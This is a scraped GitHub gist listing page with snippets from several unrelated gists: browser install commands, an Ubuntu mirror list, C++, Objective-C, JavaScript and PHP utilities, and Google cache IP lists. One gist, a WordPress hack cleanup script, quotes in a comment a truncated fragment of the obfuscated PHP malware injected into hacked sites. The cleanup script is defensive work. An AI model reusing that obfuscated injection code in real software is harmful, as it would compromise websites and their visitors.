Skip to content

Instantly share code, notes, and snippets.

View liruqi's full-sized avatar

Ruqi liruqi

View GitHub Profile
@tonghuix
tonghuix / gnupg-infographic[zh-cn].svg
Created June 7, 2014 15:53
GnuPG-infographic Chinese Translation
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@weidagang
weidagang / largest_rectangle_in_histogram.cpp
Created May 13, 2013 05:43
Find the largest rectangle in histogram. POJ 2559.
#include <algorithm>
#include <cstdio>
#include <deque>
#define MAX_N 100000
int n;
int h[MAX_N + 1];
struct Node {
# Installing Chrome
curl -L -O "https://dl.google.com/chrome/mac/stable/GGRO/googlechrome.dmg"
hdiutil mount -nobrowse googlechrome.dmg
cp -R "/Volumes/Google Chrome/Google Chrome.app" /Applications
hdiutil unmount "/Volumes/Google Chrome"
rm googlechrome.dmg
# Installing Firefox
curl -L -o Firefox.dmg "http://download.mozilla.org/?product=firefox-latest&os=osx&lang=en-US"
hdiutil mount -nobrowse Firefox.dmg
@cloverstd
cloverstd / aliyun.sources.list
Last active August 31, 2016 05:03 — forked from taichunmin/aliyun.sources.list
阿里云 ubuntu 14.04 镜像
# deb http://mirrors.aliyun.com/ubuntu trusty main restricted
# deb http://mirrors.aliyuncs.com/ubuntu trusty main restricted
# deb http://mirrors.aliyun.com/ubuntu trusty-updates main restricted
# deb http://mirrors.aliyuncs.com/ubuntu trusty-updates main restricted
# deb http://security.ubuntu.com/ubuntu trusty-security main restricted
# See http://help.ubuntu.com/community/UpgradeNotes for how to upgrade to
# newer versions of the distribution.
deb http://mirrors.aliyun.com/ubuntu trusty main restricted
@owise1
owise1 / wordpress-hack-cleanup.php
Created October 2, 2014 19:14
Hacked Wordpress Cleanup Script
<?
/**
* A script to cleanup a hacked Wordpress site.
*
* The hacker prepended the following to most/all of the .php files:
* <?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $uispnwkeuy = 'c%x5c%x782f#00#W~!Ydrr)%x5c%x7825r%x5c%x7878Bsfuvso!sbx7825))!gj!<*#cd2bge56+99386c825tzw%x5c%x782f%x5c%75%156%x61"]=1; functio8y]#>m%x5c%x7825:|:*r%x5c%x7825:-t%x5c%x782f35.)1%x5c%x782f14+9**-)1%x5c%x782f2986+7**^%x5c%x782f%x7825!<12>j%x5c%x7825!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%x5c%x7825)sutcvx7825<#g6R85,67R37,18R#>q%x5c%x7825V<*#fopoV;hojepdoF.uofuop%x785c2^-%x5c%x7825hOh%x5c%x782f#00#W~!%x5cpd%x5c%x78256<pd%x5c%x7825w6Zj%x5c%x7825!-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%5]D6#<%x5c%x7825fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]2212]445]43]321]464]284]364]6]234]342]58]24]315c%x5c%x7825j^%x5c%x7824-%x5c%x782
@sunnyxx
sunnyxx / attribute_overloadable_test.md
Last active July 18, 2018 04:59
__attribute__((overloadable)) test
__attribute__((overloadable)) NSString *descriptionFromValue(float value) {
    return @(value).stringValue;
}
__attribute__((overloadable)) NSString *descriptionFromValue(NSRange range) {
    return NSStringFromRange(range);
}
__attribute__((overloadable)) NSString *descriptionFromValue(id object) {
    return [object description];
}
@anhulife
anhulife / WeixinDetection.js
Created January 17, 2014 09:22
判断网页是否是在微信内嵌浏览器中打开
document.addEventListener('WeixinJSBridgeReady', function(){
//如果执行到这块的代码,就说明是在微信内部浏览器内打开的.
alert('当前页面在微信内嵌浏览器中打开!');
});
IP Addresses of Google Global Cache
www.kookle.co.nr
Bulgaria 93.123.23.1 93.123.23.2 93.123.23.3 93.123.23.4 93.123.23.5 93.123.23.6 93.123.23.7 93.123.23.8 93.123.23.9
93.123.23.10 93.123.23.11 93.123.23.12 93.123.23.13 93.123.23.14 93.123.23.15 93.123.23.16 93.123.23.17 93.123.23.18 93.123.23.19
93.123.23.20 93.123.23.21 93.123.23.22 93.123.23.23 93.123.23.24 93.123.23.25 93.123.23.26 93.123.23.27 93.123.23.28 93.123.23.29
93.123.23.30 93.123.23.31 93.123.23.32 93.123.23.33 93.123.23.34 93.123.23.35 93.123.23.36 93.123.23.37 93.123.23.38 93.123.23.39
93.123.23.40 93.123.23.41 93.123.23.42 93.123.23.43 93.123.23.44 93.123.23.45 93.123.23.46 93.123.23.47 93.123.23.48 93.123.23.49
93.123.23.50 93.123.23.51 93.123.23.52 93.123.23.53 93.123.23.54 93.123.23.55 93.123.23.56 93.123.23.57 93.123.23.58 93.123.23.59
Egypt 197.199.253.1 197.199.253.2 197.199.253.3 197.199.253.4 197.199.253.5 197.199.253.6 197.199.253.7 197.199.253.8 197.199.253.9
anonymous
anonymous / adhoc
Created July 31, 2011 17:38
Linux Ad-hoc shell script
#!/bin/bash
#####################################
#Author: Leon Lee #
#email: lendylongli@gmail.com #
#QQ: 730395591 #
#Version: 1.0 #
#Note: If you have some good ideas #
# or advice, please mail me^^ #
#####################################
@tiaro
tiaro / gist:3926407
Created October 21, 2012 08:53
Strip the UTF-8 BOM mark (hex value: EF BB BF)
function trimUTF8BOM($data){
if(strlen($data) >= 3 && substr($data, 0, 3) == pack('CCC', 239, 187, 191)) {
return substr($data, 3);
}
return $data;
}